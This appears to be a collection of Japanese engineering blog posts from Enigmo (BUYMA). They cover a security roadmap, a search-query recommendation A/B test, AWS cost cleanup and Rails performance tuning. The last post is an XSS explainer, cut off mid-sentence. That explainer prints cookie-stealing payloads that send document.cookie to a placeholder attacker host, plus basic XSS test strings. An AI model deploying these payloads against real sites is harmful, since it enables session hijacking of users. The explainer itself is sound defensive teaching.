プロダクト開発において利用するOSS等のパッケージ、ライブラリが膨大になる中、昨今、サプライチェーン攻撃や新たなクリティカルな脆弱性が報告された際、どのプロダクトのどこに影響があるのか、調査や特定に膨大な時間がかかってしまうリスクが増加しています。SAST/DASTや依存ライブラリの脆弱性スキャン（SCA）を自動化したり、SBOM（ソフトウェア部品表）の導入・管理体制を構築し、これらの攻撃や脆弱性の多発に対して、影響範囲を即座に特定・自動ブロックできる仕組みを実装していきます。 グループ企業・委託先を含めた全社セキュリティガバナンスの強化 主力事業であるBUYMA本体のセキュリティ対策は成熟しつつあるものの、事業の多角化に伴い、グループ会社や新規事業、外部委託先を含めたサプライチェーン全体で見ると、セキュリティレベルにばらつきが生じているという懸念があります。経営会議でも重要課題として挙がったデータガバナンスの強化に向け、エニグモが守るべき情報資産とリスクシナリオの可視化を進めてきました。今後はこのリスクベースアプローチを基盤とし、BUYMA事業だけでなく、BUYMA TRAVELやHOUSE REVOといったグループ会社全体のセキュリティ体制構築（Security Hubの全アカウント適用、運用体制の構築や、脆弱性診断の展開など）や、外部委託先の情報セキュリティ管理プロセスの高度化に注力していきます。 AIを取り巻く新たな脅威への対抗とセキュリティ業務のAI化 開発効率化のために各種AIツールの活用が急速に進む一方で、開発環境を狙うMiasmaワームやプロンプトインジェクションなどの新たなリスクへの対応方針が急務となっています。また、開発スピードの向上に対して、セキュリティチームの人的リソースだけで全件レビューを行うことの限界も見え始めてきました。これらのAIツールを悪用した新たな脅威に対応するガードレールの構築を進めていきます。また、OWASP LLM Top 10などをベースにしたセキュリティチェックリストの作成や、LLMを活用したセキュリティレビューの自動化など、セキュリティ業務自体のAI活用にも取り組んでいきます。 Policy as Codeを用いたガードレールの構築 セキュリティチェックを厳格化すればするほど、影響のない誤検知（ノイズ）の対応や軽微なアラートによって開発の手が止まってしまい、開発者体験（DX）や事業のリリーススピードを損なってしまうというジレンマがありました。「Critical/Highのみデプロイをブロックする」「影響のない誤検知（ノイズ）を自動除外する」など、開発者体験（DX）と事業スピードを損なわずに、開発チームが自律して修正できるプロセスを構築していきます。 5. エニグモでセキュリティエンジニアとして働く魅力ややりがい エニグモのセキュリティエンジニアは、単なる監視や定常作業に留まりません。世界中のユーザーが利用する大規模CtoC・越境ECの「BUYMA」という特性上、個人間取引特有の不正利用やグローバル環境における複雑な脅威シナリオが存在し、それらに対する「攻防の面白さ」をダイレクトに味わえるのが大きな特徴です。 また、現在はBUYMA TRAVELやHOUSE REVOといったM&Aによるグループ企業の拡大や新規事業も加速しています。ビジネスモデルやシステム環境が多様化する中で、全社共通のガバナンスの「型」を自ら設計し、適用していくアーキテクトとしての大きな裁量があります。 経営層から事業部門、インフラ・開発チーム、グループ会社に至るまで、多様な関係者と円滑にコミュニケーションを図りながら、全社規模の防衛戦略をリードできるのは当社ならではの大きなやりがいだと感じています。 また、EM（エンジニアリングマネージャー）と協働し、AI等の新技術の活用ルール策定やモダンなDevSecOps環境の構築といった「技術的に面白い課題」に、専門家の立場から大きな裁量を持って挑戦できる環境が整っています。 6. おわりに エニグモでは現在こうした課題に一緒に立ち向かってくれる仲間を探しています。 ぜひ、一緒にエニグモグループ、BUYMAの成長を支えるセキュリティ体制をつくっていきませんか。

こんにちは、データサイエンティストの髙橋です。業務では企画/分析/機械学習モデル作成/プロダクション向けの実装/効果検証を一貫して行っています。 この記事では、BUYMA アプリのホーム画面に検索クエリレコメンドを導入し、ホームレコメンド経由の CVR の向上、アプリ全体の商品閲覧ユーザー率（商品詳細を閲覧したユーザー/全体ユーザー）の改善をした事例を紹介します。 レコメンドシステム全体としては、機械学習ロジックとバックエンド実装の両方がありますが、今回は前者の機械学習ロジックを中心に紹介します。バックエンド実装は別途紹介予定です。 施策の目的 新しいレコメンドイメージ 新しいレコメンドによる事業効果 レコメンドロジック 商品と検索クエリの類似度計算 ユーザーごとの検索クエリレコメンド作成 検索クエリ内の商品並び替え レコメンドの並び順に対するランダム性の導入 定性評価 AB テスト まとめ 施策の目的 弊社が運営している CtoC EC サービス BUYMA の iOS アプリのホーム画面には「あなたへのおすすめ」セクションがあり、ユーザーが閲覧した商品に基づいてレコメンドされた商品が表示されています。 しかし、個別商品のレコメンドのみを提供しているため、ユーザーに表示できる商品の幅が制限され、購入に結び付く商品にホームから出会いづらいのではという仮説がありました。そこで、個別商品のみではなく、検索クエリのレコメンドを実施することで、ユーザーに表示できる商品の幅を広げ、購入候補となる商品に出会いやすくできないかを検証しました。検索クエリのレコメンドでは、商品単体ではなく検索結果への導線を提示できるため、ユーザーがより広い候補の中から商品を探せるようになります。 最終目標は、 iOS アプリ全体の売上を上げることですが、アプリ全体の購入にホームレコメンドが占める割合はそれほど大きくなく、はじめからそれを実現するのは難しいと考え、まずはホームレコメンド経由の売上を増加させることを目標としました。 新しいレコメンドイメージ 既存の iOS アプリのホーム画面のレコメンドは個別商品を以下のように表示していました。 新しいレコメンドとして、以下のような検索クエリのレコメンドを既存の個別商品レコメンドの上部に追加しました。ここで、検索クエリごとに商品を何件か見せるようにしました。また、検索クエリごとに検索結果に遷移できるボタンを設けることで、ユーザーが検索結果に遷移してより広い商品を見ることができるようにしました。検索結果への導線は、検索ラベル名の横とカルーセル末尾の2箇所に設けました。 検索クエリとしては、商品カテゴリとブランドの組み合わせや、商品カテゴリとタグの組み合わせなどを用意しました。例えば「スニーカー × ブランド A」「Tシャツ × ストリート」など、商品カテゴリにブランドやタグを組み合わせた検索クエリ候補を作成しました。 新しいレコメンドによる事業効果 AB テストの結果、ホームレコメンド経由の CVR の上昇が見られました。ホームレコメンドからユーザーが閲覧できる商品の幅を広げ、購入候補となる商品に出会いやすくできたことが CVR 上昇に寄与したと考えられます。 また、iOS アプリ全体の商品閲覧ユーザー率にも上昇が見られました。検索クエリごとに複数の商品を表示し検索結果への導線を設けたことで、ホーム画面からの商品探索を促せたことが閲覧ユーザー率上昇に寄与した可能性があります。 詳細な数値などは後述のABテストセクションにて紹介します。 レコメンドロジック 実際に利用した検索クエリレコメンドのロジックについて紹介します。今回の検索クエリレコメンドでは、大きく以下の4つの処理を行いました。 商品と検索クエリの類似度計算 ユーザーの商品閲覧履歴から、関連性の高い検索クエリレコメンドを作成する 各検索クエリ内で表示する商品を、ユーザーの興味に近い順に並び替える 表示内容が固定化されないように、Gumbel-Top-k Trick によって一定のランダム性を加える 以降では、それぞれの処理について説明します。 商品と検索クエリの類似度計算 検索クエリのレコメンド自体に効果があるのかをクイックに検証するために、協調フィルタリングベースの実装負荷が低いロジックを採用しました。 通常の item-to-item 協調フィルタリングでは、ユーザーごとの閲覧有無をベクトルとみなし、商品同士の類似度をコサイン類似度で計算します。商品 の閲覧ベクトルを とすると、コサイン類似度は以下の式で表されます。 ここで、各次元をユーザー、値をそのユーザーが商品を閲覧したかどうかの の値とすると、 は両方の商品を閲覧したユーザー数、 と はそれぞれの商品を閲覧したユーザー数の平方根になります。 今回の検索クエリレコメンドでは、ユーザーの代わりにセッション を単位とし、商品と検索クエリの類似度を計算しました。具体的には、商品 の閲覧ベクトルを 、検索クエリ （例：商品カテゴリとブランドの組み合わせ）に該当する商品の閲覧ベクトルを とし、それぞれの次元をセッション、値をそのセッションで閲覧されたかどうかの の値とします。このとき、商品 と検索クエリ の類似度を と定義し、事前計算しました。これにより「ある商品を見たセッションでは、他にどのような検索クエリに該当する商品が見られているか」を集計しています。たとえば、あるスニーカーを閲覧したセッションで「ブランド A のスニーカー」に該当する商品もよく閲覧されていれば、 は高い値になり、その商品からそのクエリへの関連度が高いとみなします。 ユーザーごとの検索クエリレコメンド作成 これにより計算した商品×検索クエリの類似度 を元に、ユーザーごとの検索クエリレコメンドを作成しました。具体的には、ユーザー に対する検索クエリ の集約スコア を以下の式で計算し、その集約スコア上位の検索クエリをユーザーごとにレコメンドしました。 ここで、 はユーザー が直近 番目に閲覧した商品のID（ が最新の閲覧商品）を表します。 は、直近 件の閲覧商品それぞれについて、その商品と検索クエリ の類似度 （先ほどのコサイン類似度の式により事前計算済み）を、閲覧順に応じた指数減衰の重み で重み付けして合算したものです。同じ検索クエリが複数の商品から推薦された場合は加算され、直近の閲覧ほどユーザーの現在の興味を強く反映します。 は減衰率を表します。 今回は検索クエリのレコメンド自体に効果があるかをクイックに検証する目的だったため、 ・ は後述する定性評価アプリでの結果を見ながら調整しました。オフライン評価指標を設計して最適化するのが本来望ましいですが、まず施策の有効性を確認するフェーズとして定性評価による調整で十分と判断しました。 また、コールドスタート問題、具体的にはマイナーな商品が閲覧履歴に含まれる場合の対処として、レコメンド上位数件はルールベースで直近閲覧商品のブランド × カテゴリを出力するようにしました。マイナー商品は共閲覧セッション数が少なくスコアの信頼性が低くなるため、こうしたケースでも関連性が高いクエリを最上位に表示できるよう意図しています。先ほど述べたようにクイックに検証する目的上、ここへの深い投資は優先度を下げた判断です。 検索クエリ内の商品並び替え 新しいレコメンドイメージで説明したように、検索クエリごとに商品を何件か見せるようにしました。 ここで、単純に検索クエリで検索したときの人気商品を見せると、ユーザーが閲覧した商品との関連性が低い商品が表示され興味を惹きづらい問題がありました。そこで、 item-to-item 協調フィルタリングも作成し、その結果を元に各検索クエリ内の商品を並び替えるようにしました。 例えば、ユーザーがブランド A のピンクのバッグを閲覧していた場合を考えます。以下のように並び替え前は人気順上位の黒・白のバッグが表示されていました。これを item-to-item 協調フィルタリングの結果をもとに並び替えることで、ピンク系のバッグが表示されるようにしました。 並び替えには Solr のブーストクエリの仕組みを利用しました。具体的には、検索クエリに該当する商品の中で、ユーザーの直近閲覧商品との item-to-item 協調フィルタリング結果上位の商品にブーストをかけることで、ユーザーの興味に近い商品を上位に表示しました。Solr のブーストクエリの採用理由としては、検索エンジンとして Solr を利用しており、それに付随する機能を利用した方が開発工数を抑えつつ検索クエリ内の商品並び替えができると考えたためです。 レコメンドの並び順に対するランダム性の導入 ユーザーごとの検索クエリの集約スコアで検索クエリを並べて表示すると、アプリ訪問のたびに同じような検索クエリが表示される問題がありました。そこで、検索クエリの並び順に対するランダム性を導入し、アプリ訪問のたびに検索クエリの並び順が変化するようにし、より回遊を促せるようにしました。また、検索クエリ内の商品並び替えについても同様の理由でランダム性を導入しました。 ランダム性の導入には Gumbel-Top-k Trick を利用しました。スコアに Gumbel ノイズを加算して top k を取ることで、スコア上位の候補ほど選ばれやすくしつつ、一定のランダム性を持たせる手法です。実装では、スコアに温度パラメータをかけることで、関連性を重視する度合いとランダム性の強さを調整しました。これによりスコア上位の関連性の高い検索クエリは表示されやすくしつつも、時にやや意外性のある下位の検索クエリも表示されることで、ユーザーが飽きずに回遊を続けられることを意図しています。実際に結果を確認すると、関連性の高いクエリが多く表示されつつも、時折意外性のあるクエリが混ざるような挙動となりました。 定性評価 検索クエリレコメンドの精度を確認するために定性評価を実施しました。生成 AI をコーディング支援に利用し、閲覧した商品IDリストを入力すると検索クエリレコメンド結果を表示する Web アプリを素早く作成しました。これをチームメンバーにも使っていただき、フィードバックを得ながら細かな調整を実施しました。また、これにより Bot などの大量アクセスによりレコメンド結果が不自然になることに気づけ、それを防ぐための前処理を入れることもできました。具体的には、 以前弊社の技術ブログでも紹介した手法 を参考に、短時間で大量に商品閲覧しているセッションを除外する対応を行いました。 AB テスト AB テストは、iOS アプリのホーム画面を訪問したユーザーを対象に2週間実施しました。Treatment では検索クエリレコメンドを12件、既存の個別商品レコメンドの上部に追加表示しました。Control では既存の個別商品レコメンドのみを表示しました。 Control と Treatment の画面イメージ比較図は以下のとおりです。 AB テストの結果は以下の通りです。 指標 Treatment / Control 相対改善 備考 ホームレコメンド経由の CVR 138% +38% 主指標 ホームレコメンド経由の ARPPU 105% +5% 客単価が落ちていないことの確認 ホームレコメンド経由の ARPU 146% +46% 客単価が落ちていないことの確認 iOS アプリ全体の商品閲覧ユーザー率 100.4% +0.4% iOS アプリ全体の CVR 100.1% +0.1% ここでいうホームレコメンド経由の CVR は、iOS アプリのホーム画面を訪問したユーザーのうち、ホームレコメンド経由で購入に至ったユーザー割合として定義しています。また、ホームレコメンド経由の購入は、ホームレコメンド上の商品または検索結果導線を起点として商品詳細に到達し、購入に至ったケースとして集計しています。 AB テストでは、ホームレコメンド経由の CVR や ARPU が改善しました。また、ARPPU が大きく低下していなかったことから、CVR 改善の裏で購入単価が悪化しているわけではないことも確認できました。 一方で、アプリ全体の CVR には大きな変化は見られませんでした。ホームレコメンド経由の購入は増加したものの、その一部には他導線からホームレコメンド経由への購入経路の付け替わりが含まれていた可能性があります。そのため、今回の施策はアプリ全体の購入を大きく押し上げるというよりも、ホーム画面からの商品探索を促進し、ホームレコメンド経由の購入機会を増やす効果が大きかったと考えています。 iOS アプリ全体では商品閲覧ユーザー率の上昇が見られました。iOS アプリ全体の商品閲覧ユーザーを分解して確認すると、検索クエリレコメンドのみから商品閲覧をしたユーザーが増えていました。それらの多くは検索結果画面に遷移したうえで商品を閲覧していました。このことから、検索クエリをレコメンドすることで、ホーム画面から検索結果での回遊を促し、アプリ全体の商品閲覧ユーザー率の改善につながったと考えられます。 まとめ 今回、iOS アプリのホーム画面に検索クエリレコメンドを導入したことで、ホームレコメンド経由の CVR、iOS アプリ全体の商品閲覧ユーザー率の上昇が見られました。これらの結果から、検索クエリのレコメンドがユーザーの回遊を促し、購入に結び付く商品に出会う確率を上げることができたと考えられます。一方で、課題としては全体の CVR にあまり変化は無かったことがあります。そこで、購入経路の付け替えではなく、純増を生み出す方向のレコメンドロジックや UI/UX を追求していきたいと考えています。それに向けて現在も引き続き AB テストにて新たなレコメンドロジックや UI/UX を試しています。 株式会社エニグモ すべての求人一覧 hrmos.co

概要 こんにちは、インフラエンジニアの 加藤 です。 社内で行ったAWSのコスト最適化とリソース整理の内容をレポートします。 今回は、 AWS Compute Optimizer 、 AWS Trusted Advisor 、 Amazon S3 Storage Lens を活用し、不要・過剰リソースの洗い出しから削除までを手動で実施しました。 まずはAWSの公式推奨値や手作業でのチェックを経て「どの部分を仕組み化できそうか」のあたりをつけ、今後はそれをベースに自動化や定期モニタリングの仕組みを構築していく予定です。 本記事では、具体的な実施内容や改善結果とあわせて、今後の自動化・仕組み化に向けた方針をまとめます。 1. 現状確認 過剰なコストが発生している可能性の高い箇所を特定するため、以下の3つのアプローチで調査を行いました。 1-1. AWS Compute Optimizerの確認 稼働中のEC2インスタンスやEBSボリュームの推奨ステータス（最適化可能、過剰プロビジョニングなど）を抽出しました。 1-2. AWS Trusted Advisorの確認 コスト最適化項目を確認し、利用率の低いEC2インスタンスや未使用のEBSボリュームなどを抽出しました。 【注意】Trusted Advisorの網羅性】 Trusted Advisorは非常に便利ですが、あくまでAWSが定義した標準的なルールに基づく推奨事項の提示に留まります。 アカウント内の不要なリソースをすべて完璧に洗い出せるわけではないため、Trusted Advisorの確認だけでなく、独自の基準による調査も組み合わせて実施しました。 また、推奨内容の適用にあたっては、監視メトリクスから平常時・ピーク時双方のリソース使用状況を分析し、性能劣化やリソース枯渇のリスクがないことを検証したうえで実施しました。 変更作業については、段階的な適用を基本方針とし、利用状況の分析結果に基づいてメンテナンス時間帯を選定することで、サービスへの影響を最小化しました。 利用者の多いシステムに対する再起動を伴う変更は、安定運用のため影響の少ない時間帯に実施しました。 1-3. 長期間放置されているリソースの整理 長期放置されているEC2関連リソースとS3バケットの確認を実施しました。 EC2関係 1年以上前に作成されたまま稼働・利用されていないEC2インスタンス、EBSボリューム、EBSスナップショット、AMIをリストアップし、不要なものを整理しました。 AWS Instance Scheduler で利用している既存タグではコスト効率が悪いもの（例：夜間停止後平日日中に再起動してしまうケース）については、新たに「停止のみ」のスケジュール設定を追加しました。 S3関係 S3 Storage LensとS3 APIを活用し、長期間更新のないオブジェクト、不完全なマルチパートアップロードの有無、ライフサイクルルールの設定状況を横断的に確認しました。 2. 実施した最適化作業（手動対応） 「1. 現状確認」で抽出した調査結果に基づき、対象リソースの棚卸しを実施しました。具体的には、スプレッドシートに対象リソース一覧を整理した上で、関係各所のメンバーに対して個別にヒアリングを行い、利用状況および必要性を確認しました。その結果を踏まえ、手動作業にて以下のリソース最適化・整理を実施しました。 2-1. AWS Compute Optimizer / Trusted Advisor に基づく対応 ツールから推奨された「過剰プロビジョニング」や「未使用リソース」のステータスに対し、以下の即効性のある対応を行いました。 インスタンス・EBSの最適化 過剰スペックと判定されたEC2インスタンスのタイプ変更（ダウンサイジング）を実施しました。 EBSボリュームのパラメータ（容量・IOPS・スループット）を実際の利用実績に合わせて最適化しました。 未使用リソースの削除・解放 コストが発生していた未使用のEBSボリューム・EBSスナップショットやEC2インスタンスを整理し削除しました。 2-2. 独自基準に基づく対応（EC2関連リソース） Trusted Advisor等では検知しきれない、長期間放置されていたリソースの整理と、今後の無駄を防ぐための設定変更を行いました。 長期未使用リソースのクリーンアップ 1年以上前に作成され、運用されていないEC2インスタンス、EBSボリューム、EBSスナップショット、AMIを精査し、不要なものを削除しました。 AWS Instance Schedulerのタグ設定の見直し 調査時に停止忘れ対策単体のタグが存在していなかったため、新しく停止用のタグを作成・付与し、自動でインスタンスが停止してコストの無駄遣いを防げる状態にしました。 2-3. 長期間放置されているリソースの整理（S3関連リソース） S3 Storage LensとS3 APIの調査結果を基に、ストレージコストを削減するための整理を行いました。 オブジェクトの精査と削除 長期間更新のなかったバケットやオブジェクトを精査し、不要なリソースを削除しました。 マルチパートアップロードのクリーンアップ 蓄積していた「不完全なマルチパートアップロード」をクリーンアップし、無駄なストレージ消費を解消しました。 ライフサイクルルールの更新 今後の自動コスト最適化（オブジェクトのGlacierへの移行や自動削除など）を見据え、暫定的なライフサイクルルールを設定・更新しました。 3. 今後に向けた自動化・仕組み化の展望 今回は手動でリソースの棚卸し・整理を実施しましたが、リソースの増加は今後も継続的に発生します。 そのため、同様の課題を繰り返さないよう、運用の仕組み化と自動化を進めていきます。 1. 公式推奨事項の定期確認 AWSのベストプラクティスに沿った継続的な改善を行うため、推奨事項を定期的に収集し、Slackへ通知する仕組みを構築します。 対象は以下を想定しています。 AWS Compute Optimizer の推奨レポート Trusted Advisor の推奨レポート 人手による定期確認を不要にし、対応漏れの防止や継続的なコスト最適化につなげます。 2. 独自フィルターによる未使用リソース検知 AWSの標準機能だけでは検知できない放置リソースを可視化するため、現場の運用実態に合わせた独自フィルターを作成し、月次でSlackへ通知します。 例えば、今回の棚卸しで利用した基準をもとに、以下のようなリソースを検知対象とします。 作成から1年以上経過したEC2・AMI・EBS・EBS Snapshot 長期間停止状態のEC2 未アタッチのEBS 未参照のAMI・EBS Snapshot これにより、実運用に即した未使用リソースの早期発見と継続的なコスト削減を実現します。 3. S3運用の標準化と自動化 S3については、ライフサイクル管理の標準化と大量オブジェクト運用時の自動化を進めます。 Infrequent Access や Glacier など適切なストレージクラスへの自動移行 不完全なマルチパートアップロードの自動削除 バケットやプレフィックス単位での保持期間ルールの整理と自動削除 調査を進める中で、S3の分析・整理に関する運用パターンが確認されたため、今後の対応方針として検討を進めています。 また、Storage Lens、 S3 Inventory 、 S3 Batch Operations を組み合わせた手法はAWS公式ブログでも実装例として紹介されており、今後の検討の参考としています。 ただし、対象バケットはオブジェクト数が多く、各種分析・調査系サービスの利用コストも発生するため、コスト面も含め慎重に検討する必要があります。 参考：AWS公式ブログ：「 Copy objects between any Amazon S3 storage classes using S3 Batch Operations 」 まとめ コスト最適化の提案から始め、まずは簡単に済ませられるものから各ツールの推奨情報も参考にしながら手作業で進めました。実作業を通してシステムの現状や、単なる削除に留まらないリソースのチューニングに関する判断基準を深く学べたことが大きな収穫です。今後は、今回得た知見をもとに自動化や定期通知の仕組み化へと繋げ、さらなる運用効率の向上に貢献していきます。 株式会社エニグモ すべての求人一覧 hrmos.co

こんにちは。BUYMA TRAVELのWebエンジニアの赤間です！ BUYMA TRAVELは BUYMA を運営する株式会社エニグモのグループサービスです。 1. はじめに 弊社では日本語対応のオプショナルツアー・貸切ガイド予約サイト’’BUYMA TRAVEL’’を開発・運営しています。 その中でも「エリアページ」と「スポットページ」は検索エンジンから流入したユーザが最初に訪れることの多い主要なページです。 ここ数ヶ月でユーザにとってより使いやすいページを目標に、クチコミやおすすめ商品の掲載など様々な要素・機能の追加を行ってきました。しかしその一方で表示速度が低下し、商品数の多いページによっては表示完了まで最大3秒かかってしまう状況でした。 そこでこれらのページを対象に、Railsアプリケーションのパフォーマンス改善を実施しました。本記事では調査の流れから改善内容、その改善を通して得られた知見をご紹介します。 2. エリアページ・スポットページとは ここで簡単にサービス紹介もかねて、この2つのページのご紹介です。 エリアページ https://travel.buyma.com/service/a040118/ その名の通り、エリア(地域)単位で商品をまとめている特設ページです。 スポットページ https://travel.buyma.com/service/a040118/s0000001/ こちらは、観光スポット単位で商品をまとめている特設ページです。 どちらのページも人気商品やプライベート商品、クチコミ、おすすめスポットなどのコンテンツを掲載しています。 一見すると単純な一覧ページですが、実際にはユーザに新鮮な情報を提供するための複数の検索処理や集計処理、共通コンポーネントによって構成されており、システム的に比較的処理の多い重いページとなっています。 3. なぜ改善が必要だったのか これらのページは検索エンジンから’’BUYMA TRAVEL’’に流入したユーザが最初に目にするページです。 そのため表示速度の低下は単なる技術的な課題ではなく、サービス全体の利用率や売り上げにも直結する可能性があります。 また、エリアページとスポットページはサービス内でもアクセス数が多く、改善効果が大きいページでもありました。 実際に計測したところ、改善前ではページ表示までに最大3秒程度かかってしまうケースも確認できました。 ページ表示速度と離脱率には相関があると言われており、ユーザがページの表示を待っている間に離脱してしまえば、どんなに魅力のある商品を掲載していても見てもらうことはできません。 そこで、本格的なパフォーマンス改善に取り組むこととなりました。 4. AIを活用したボトルネック調査 エリアページは長年運用されてきたページであり、コードベースも大規模化していました。 そのため単純に「とりあえずSQLを削減する」といった場当たり的な改善ではなく、本当にボトルネックとなっている処理を特定する必要がありました。 Railsアプリケーションではコントローラ・モデル・ビュー(・ヘルパー)に処理が分散しているため、どこで処理時間を消費しているかを把握するだけでも手間がかかります。 今回はDatadogで遅いトランザクションを特定し、Cursorを利用してコードベースの調査を行いました。 AIに「TTFBを悪化させている箇所を探して欲しい」 という依頼を行い、懸念箇所や修正候補をリストアップしてもらいました。 5. 調査して見つかった問題箇所 分析の結果、大きく以下の3つの課題が見つかりました。 SQLの発行数が多い 同一リクエスト内で重複した計算が発生している キャッシュが十分に活用できていない 特にSQL関連の問題が深刻で、全体処理時間の約60%を占めている有り様でした。 6. 実施した改善 SQL発行数の削減 調査の結果、レスポンス時間の大部分をデータベースアクセスが占めていることがわかりました。 特に商品一覧の表示処理では、関連データを取得する際にN+1問題が発生している箇所が複数存在していました。 N+1問題とは、一覧取得後に各レコードごとに追加のSQLが発行されてしまう問題です。 たとえば商品を10件まとめて表示する場合、本来1回で済むはずが11回以上のDBアクセスが必要になることがあります。 さらにデータ量が増えるほどSQL実行回数も増加するため、パフォーマンスへ大きな影響を与えてしまうのです。 今回の改善では includes を利用したEager Loadingを積極的に導入し、必要な関連データを事前にまとめて取得するように変更しました。 また、同じ情報を異なるコンポーネントで個別に取得している箇所も存在していたため、取得処理を集約し不要なクエリ発行を削減しました。 結果として、SQL発行数を大幅に削減でき、レスポンス改善に最も大きく貢献した施策となりました。 同一リクエストで同じ計算をしていた 調査を進める中で、同一リクエスト内で何度も同じ計算を行なっている箇所も見つかりました。これは本当にもったい無いですね、、、 単体で見ると小さな処理ですが、ページ全体では何度も呼び出されるため無視できないコストになります。 そこでメモ化を導入し、一度計算した結果を再利用するように変更しました。 また、一部の集計処理にはキャッシュを活用することで再計算そのものを削減しています。 大きな改善ではありませんが、細かな最適化の積み重ねが最終的なレスポンス改善につながりました。 お気に入り機能とキャッシュの見直し 今回の改善で特に興味深い問題が、お気に入り機能とキャッシュの関係でした。 商品カードはページ内で大量に表示されるため、本来であればカード単位でキャッシュしたいコンテンツです。商品名や価格、評価、パートナー情報などは頻繁には変化しないため、一度生成したHTMLを再利用できることで大きな効果が期待できます。 しかし、お気に入りの状態はユーザごとに異なる情報です。 同じ商品であってもあるユーザにとっては「お気に入り登録済」、別ユーザにとっては「未登録」という状態があります。 そのため商品カード全体をキャッシュしてしまうと、 ユーザごとに異なるキャッシュを生成する必要がある キャッシュキーが複雑になる キャッシュヒット率が低下する という問題が発生します。 実際に、改善前はこの問題を回避するために、お気に入りボタンを除いた「パートナー・評価」「商品情報」の2つの領域に分けて個別にキャッシュしていました。 この構成でもキャッシュがない状態より圧倒的に効率的ですが、キャッシュの管理が複雑であったり、テンプレートも読みづらい実装になっていました。 そこで今回の修正では、商品カードとお気に入りの状態を分離し、商品カード全体を共通キャッシュできる構成へ変更しました。 商品カード本体は全ユーザ共通のHTMLとしてキャッシュし、商品IDごとのお気に入りの状態は別で取得する形です。 これにより商品カード自体は1つのキャッシュとして扱えるようになり、キャッシュ構成をシンプルにしつつ、高いキャッシュ効率を実現しています。 結果としてレスポンス速度だけでなく、今後の保守性や機能追加のしやすさという点でも大きな効果を得ることができました。 7. 改善結果 改善前ではページ表示までに最大3秒程度かかる状態でした。 改善後は1秒に満たない時間で表示できるケースが大半となり、体感速度も大きく向上しました。 今回の改善では特定の1箇所を直したのではなく、 SQLの最適化 重複処理の削減 キャッシュの見直し といった複数の小さな改善を積み重ねたことが、この結果につながりました。 8. まとめ 当サイトの主要ページである、エリアページ・スポットページの速度改善についてご紹介しました。 パフォーマンス改善というと大規模なアーキテクチャ変更をイメージするかと思います。私自身はそのような印象を持っていました。 しかし実際には特別な技術ではなく、N+1の解消やメモ化、キャッシュ設計の見直しといった、比較的小さな改善の積み重ねでも、十分な効果が出せると実感しました。 Railsには優秀なキャッシュ機構や様々な最適化手法がありますが、まずは基本的なSQLの見直しが重要です。 普段のレビューでもN+1の有無や効率的なデータの取得については確認していますが、改めて見直してみると、どうしても漏れは出てくるものだと感じました。機能追加を重ねてきたページほど、定期的にパフォーマンスの棚卸しは必要だと思います。 今回で大きくレスポンスを改善できましたが、まだ課題は残っています。 特にレビュー集計処理にはサマリーテーブル導入の余地がありますし、ページビューカウントの非同期化など、更なる高速化が可能です。 今後もユーザ体験向上のため、継続的な改善を続けていきます。

こんにちは。 エニグモのWebアプリケーションエンジニアの レミー です！ Webセキュリティにおいて最も頻繁に発生する脅威の一つがXSS（クロスサイトスクリプティング）です。ユーザーに大きな被害をもたらし、企業の信頼を失墜させるこの脆弱性について、その仕組みから対策まで解説します。 XSS（クロスサイトスクリプティング）とは？ XSSとは、Webアプリケーションの脆弱性を突き、悪意のあるスクリプト（主にJavaScript）を攻撃者が他のユーザーのブラウザ上で実行させるサイバー攻撃です。 攻撃が成功すると、以下のような深刻な被害が発生する可能性があります。 セッションIDやクッキー、個人情報の取得 ブラウザやWebサイトの不正操作 悪意のあるサイト（フィッシングサイトなど）への強制リダイレクト XSSはWebアプリケーションのセキュリティにおいて最も危険な脆弱性の一つとして知られており、ユーザーのアイデンティティ（認証情報）を盗み出すことが主な目的とされています。 XSSの仕組み XSSは基本的にクライアントサイド（ユーザーのブラウザ上）で実行されます。 HTMLやJavaScriptなどの言語で書かれた悪意のあるコードが、ユーザーの入力フォームなどを経由してWebサイトに送り込まれます。 仕組みとしてはSQLインジェクションと似ており、クライアントからサーバーへのリクエストに不正なコードを紛れ込ませることで実行されます。この脆弱性は、Webサイト側がユーザーからの入力データを適切に検証・サニタイズしていないこと、または適切な出力エンコーディングを行っていないことによって発生します。 例：脆弱なサイトの検索ページが、検索キーワードをそのまま表示する場合。 ユーザーが「猫」と検索したとき: < p > 「猫」の検索結果：3件 </ p > もし攻撃者が <script>alert('攻撃成功！')</script> と検索したら？ < p > 「 < script > alert ( '攻撃成功！' ) </ script > 」の検索結果：0件 </ p > ブラウザは攻撃者のコードがそのまま動いてしまいます。 代表的なXSSの種類 1. 反映型XSS（Reflected XSS） URLのパラメータやフォームの入力値に仕込まれた悪意のあるスクリプトが、サーバーからのレスポンス画面にそのまま反映されて実行されるタイプです。攻撃者は、スクリプトを仕込んだURLをメールやSNSで標的に踏ませることで攻撃を成立させます。一般的に、特定のユーザーを狙った攻撃に多く使われます。 例：以下のURL https://example.com/search?q=<script>fetch('https://攻撃者.com?cookie='+document.cookie)</script> 気づかない一瞬の間に、ログインクッキーが攻撃者に送信され、攻撃者はユーザーになりすましてログインできてしまいます。 2. 蓄積型XSS（Persistent XSS） 攻撃者が掲示板やプロフィールの入力欄などを通じて、悪意のあるスクリプトをWebサイトのデータベースに保存させるタイプです。その後、他のユーザーがそのページを閲覧するたびにスクリプトが自動的に実行されます。一度設置されると、不特定多数のユーザーが同時に被害に遭うため非常に危険です。 例：SNSサイトで、攻撃者が自分のプロフィールの「自己紹介欄」に以下を入力しました： < script > // このプロフィールを見た全員のクッキーを盗む new Image () . src = 'https://攻撃者.com/steal?c=' + document . cookie ; </ script > このプロフィールは「サニタイズされず」にデータベースに保存されます。それから一晩で、このプロフィールを訪問した全てのユーザー全員のクッキーが攻撃者の手に渡りました——ユーザーは「プロフィールを見ただけ」なのに。これが蓄積型XSSの恐ろしさです。 XSS脆弱性の診断やテスト方法 自社のWebサイトにXSSの脆弱性がないかを確認するには、入力フォームなどにテスト用のスクリプトを入力し、それがブラウザ上で実行されてしまうかどうかを検証します。 例： <!-- 基本テスト --> < script > alert ( 'XSS' ) </ script > <!-- imgタグの onerror を使う方法 --> < img src = x onerror= alert('XSS') > <!-- SVGを使う方法 --> < svg onload= alert('XSS') > ただし、最も確実なのはソースコードのコードレビューや、専門の脆弱性診断ツールの導入、またはプロのセキュリティエンジニアによる診断を受けることです。 XSSの防ぎ方・対策 開発者向けの対策 サニタイズと入力値のバリデーション: 入力されたデータが適切な形式であるかチェックし、不正な文字（ < や > など）を排除、または無害化します。 出力のHTMLエンコーディング: ユーザーが入力した文字列をHTMLに表示する際、特別な意味を持つ文字（例: < は < 、> は > ）をエスケープ処理します。これが最も根本的な対策です。 WAF（Web Application 